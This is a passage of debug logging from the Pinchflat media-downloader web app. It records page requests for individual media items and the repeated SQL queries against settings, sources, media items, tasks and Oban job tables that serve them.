o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2593] 08:28:46.965 [debug] QUERY OK source="settings" db=0.2ms idle=253.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:46.965 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:46.966 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:46.968 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:28:46.971 [info] Sent 200 in 11ms 08:28:47.459 [info] GET /sources/1/media/102576 08:28:47.459 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102576", "source_id" => "1"} Pipelines: [:browser] 08:28:47.461 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=496.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102576] 08:28:47.462 [debug] QUERY OK source="tasks" db=0.5ms idle=496.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102576] 08:28:47.463 [debug] QUERY OK source="sources" db=0.9ms idle=496.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:28:47.463 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=496.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2592] 08:28:47.464 [debug] QUERY OK source="settings" db=0.2ms idle=495.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:47.465 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:47.466 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:47.467 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:28:47.470 [info] Sent 200 in 10ms 08:29:00.606 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:08.839 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:09.272 [info] GET /sources/1/media/89346 08:29:09.272 [info] GET /sources/1/media/102576/edit 08:29:09.272 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102576", "source_id" => "1"} Pipelines: [:browser] 08:29:09.272 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89346", "source_id" => "1"} Pipelines: [:browser] 08:29:09.274 [debug] QUERY OK source="media_items" db=0.7ms idle=589.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102576] 08:29:09.274 [debug] QUERY OK source="media_items" db=0.9ms idle=590.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89346] 08:29:09.275 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=591.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.275 [debug] QUERY OK source="tasks" db=0.5ms idle=582.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89346] 08:29:09.275 [debug] QUERY OK source="sources" db=0.7ms idle=435.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:29:09.275 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.276 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.277 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.277 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.278 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.279 [info] Sent 200 in 6ms 08:29:09.279 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:09.283 [info] Sent 200 in 10ms 08:29:09.772 [info] GET /sources/1/media/89341 08:29:09.773 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89341", "source_id" => "1"} Pipelines: [:browser] 08:29:09.773 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=496.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89341] 08:29:09.774 [debug] QUERY OK source="tasks" db=0.3ms idle=497.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89341] 08:29:09.775 [debug] QUERY OK source="sources" db=0.5ms idle=496.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:29:09.790 [debug] QUERY OK source="oban_jobs" db=14.3ms idle=495.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2382, 2464] 08:29:09.791 [debug] QUERY OK source="settings" db=0.2ms idle=96.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.791 [debug] QUERY OK source="settings" db=0.2ms idle=17.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.792 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=17.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:09.794 [debug] QUERY OK source="media_profiles" db=0.3ms idle=18.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:09.798 [info] Sent 200 in 25ms 08:29:38.684 [info] GET /sources/1/media/89345 08:29:38.684 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89345", "source_id" => "1"} Pipelines: [:browser] 08:29:38.685 [debug] QUERY OK source="media_items" db=0.4ms idle=1001.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89345] 08:29:38.687 [debug] QUERY OK source="tasks" db=0.7ms idle=1002.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89345] 08:29:38.687 [debug] QUERY OK source="sources" db=0.8ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:29:38.688 [debug] QUERY OK source="settings" db=0.2ms idle=1004.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:38.688 [debug] QUERY OK source="settings" db=0.2ms idle=935.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:38.689 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:38.690 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:38.694 [info] Sent 200 in 9ms 08:29:38.699 [info] GET /sources/1/media/89340 08:29:38.700 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89340", "source_id" => "1"} Pipelines: [:browser] 08:29:38.700 [debug] QUERY OK source="media_items" db=0.5ms idle=13.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89340] 08:29:38.701 [debug] QUERY OK source="tasks" db=0.4ms idle=13.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89340] 08:29:38.702 [debug] QUERY OK source="sources" db=0.7ms idle=12.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:29:38.715 [debug] QUERY OK source="oban_jobs" db=12.2ms idle=13.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2381, 2463] 08:29:38.716 [debug] QUERY OK source="settings" db=0.2ms idle=25.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:38.717 [debug] QUERY OK source="settings" db=0.4ms idle=15.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:38.718 [debug] QUERY OK source="settings" db=0.5ms idle=15.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:38.720 [debug] QUERY OK source="media_profiles" db=0.5ms idle=17.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:38.724 [info] Sent 200 in 24ms 08:29:38.841 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:39.196 [info] GET /sources/1/media/102577/edit 08:29:39.196 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102577", "source_id" => "1"} Pipelines: [:browser] 08:29:39.197 [debug] QUERY OK source="media_items" db=0.4ms idle=479.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102577] 08:29:39.198 [debug] QUERY OK source="settings" db=0.3ms idle=479.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:39.198 [debug] QUERY OK source="settings" db=0.2ms idle=478.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:39.199 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=445.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:39.201 [info] Sent 200 in 5ms 08:30:00.607 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:08.843 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:09.784 [info] GET /sources/1/media/89339 08:30:09.784 [info] GET /sources/1/media/89342 08:30:09.785 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89342", "source_id" => "1"} Pipelines: [:browser] 08:30:09.785 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89339", "source_id" => "1"} Pipelines: [:browser] 08:30:09.786 [debug] QUERY OK source="media_items" db=1.0ms idle=1102.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89339] 08:30:09.787 [debug] QUERY OK source="media_items" db=1.1ms idle=1102.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89342] 08:30:09.788 [debug] QUERY OK source="tasks" db=0.4ms idle=973.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89342] 08:30:09.788 [debug] QUERY OK source="tasks" db=0.9ms queue=0.2ms idle=1104.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89339] 08:30:09.789 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=944.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 